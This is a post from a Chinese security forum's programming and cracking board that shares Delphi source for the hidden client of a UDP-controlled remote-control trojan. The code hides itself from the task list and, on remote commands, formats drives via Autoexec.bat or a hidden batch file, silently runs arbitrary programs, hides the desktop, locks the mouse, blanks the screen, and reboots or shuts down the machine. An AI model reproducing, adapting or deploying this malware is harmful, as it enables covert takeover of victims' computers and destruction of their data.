论坛: 编程破解 标题: 远程控制(client) 复制本贴地址    
作者: sainthero [sainthero]    论坛用户   登录
unit Client;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  NMUDP, StdCtrls,shellapi,mmsystem;
  //shellapi需要shellapi.pas,mciSendstring需要mmsystem.pas

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    CUDP: TNMUDP;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure FormDestroy(Sender: TObject);
  private
  procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
  BmpStream:TMemoryStream;

{$R *.DFM}

//获取计算机名
function ComputerName : String;
var
  CNameBuffer : PChar;
  fl_loaded : Boolean;
  CLen : ^DWord;
begin
    GetMem(CNameBuffer,255);
    New(CLen);
    CLen^:= 255;
    fl_loaded := GetComputerName(CNameBuffer,CLen^);
    if fl_loaded then
      ComputerName := StrPas(CNameBuffer)
    else
      ComputerName := '不知道!';
    FreeMem(CNameBuffer,255);
    Dispose(CLen);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
 rtButton2: TRect;
begin
rtButton2 := Button2.BoundsRect;
MapWindowPoints(handle, 0, rtButton2, 2);
// 座标换算
ClipCursor(@rtButton2);
// 限制鼠标移动区域
end;

procedure TForm1.Button2Click(Sender: TObject);
var
 rtScreen: TRect;
begin
rtScreen := Rect(0, 0, Screen.Width, Screen.Height);
ClipCursor(@rtScreen);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
application.Title:='';
//应用程序没有名称,按Ctrl+Alt+Del时看不到程序
//application.showmainform:=false;
//程序运行时不显示
BmpStream:=TMemoryStream.Create;
end;

//退出程序
procedure Tform1.winexit(var msg: Tmessage);
begin
  msg.Result:=1;
  application.ProcessMessages;
  application.Terminate;
end;

procedure TForm1.CUDPDataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var
  CtrlCode:array[0..250] of char;
  Trun:string;
  hDesktop : Thandle;
  forc,ford:textfile;
  //向Autoexec.bat写格式化命令
begin
  CUDP.ReadBuffer(CtrlCode,NumberBytes);
  // 读取控制码
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then
 //格式化磁盘
 if CtrlCode[6]='c' then
 //格式化系统盘,将命令写入autoexec.bat,重起后生效
 begin
 assignfile(forc,'c:\Autoexec.bat');
 rewrite(forc);
 writeln(forc,'@echo off');
 writeln(forc,'format c:/q');
 // /q快速格式化
 writeln(forc,'echo y|format c:/q >nul');
 //在Dos shell控制台下显示格式化信息
  closefile(forc);
 end
  else
 //格式化其它磁盘,将命令写入批处理文件,立即执行
 begin
 assignfile(ford,'c:\a.bat');
 rewrite(ford);
 writeln(ford,'@echo off');
 writeln(ford,'format '+CtrlCode[6]+':/q');
 writeln(ford,'@del %0');
 closefile(ford);
 winexec('c:\a.bat',sw_hide);
  //开始格式化
  end;

   if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccompu' then
  //计算机睡眠
   SetSystemPowerState( true, true );

  if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='hdesk' then
  //隐藏桌面
    begin
    hDesktop := FindWindow('Progman', nil);
   //获取桌面程序句柄
    ShowWindow(hDesktop, SW_HIDE);
    //SW_HIDE,隐藏桌面
    end;
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='sdesk' then
  //显示桌面
 begin
    hDesktop := FindWindow('Progman', nil);
    ShowWindow(hDesktop, SW_show);
  //SW_show,隐藏桌面
  end;


if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='hrun' then
  //隐藏运行程序
begin
 trun:=CtrlCode;
 delete(trun,1,4);
 //删除控制码,得到要运行程序名
 shellexecute(handle,'open',pchar(trun),nil,nil,SW_hide);
end;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='nrun' then
  //显式运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
 //删除控制码,得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_show);
end;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='irun' then
  //最小化运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
 //删除控制码,得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MINIMIZE);
end;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='mrun' then
 //最大化运行程序
begin
trun:=CtrlCode;
delete(trun,1,4);
 //删除控制码,得到要运行程序名
shellexecute(handle,'open',pchar(trun),nil,nil,SW_MAXIMIZE);
end;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ocdrom' then
  //弹出cdrom
  mciSendString('Set cdaudio door open', nil, 0, handle);

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccdrom' then
  //合上cdrom
  mciSendString('Set cdaudio door closed', nil, 0, handle);

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='cmouse' then
 //锁定鼠标
   button1.Click;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='omouse' then
 //解锁鼠标
   button2.Click;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='cscre' then
  //黑屏
  SendMessage(Application.Handle,  wm_SysCommand,  SC_MonitorPower, 0) ;

if CtrlCode[0]='�' then
  //发送信息
 Application.MessageBox(CtrlCode,pchar(ComputerName),MB_OK);

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='oscre' then
 //解黑屏
  SendMessage(Application.Handle,  wm_SysCommand,  SC_MonitorPower, -1) ;

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]+CtrlCode[6]='restart' then
 //重新启动计算机
   ExitWindowsEx(EWX_REBOOT,2);

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='close' then
 //关闭计算机
   ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF ,1);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;

end.

地主 发表时间: 05/24 19:15

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号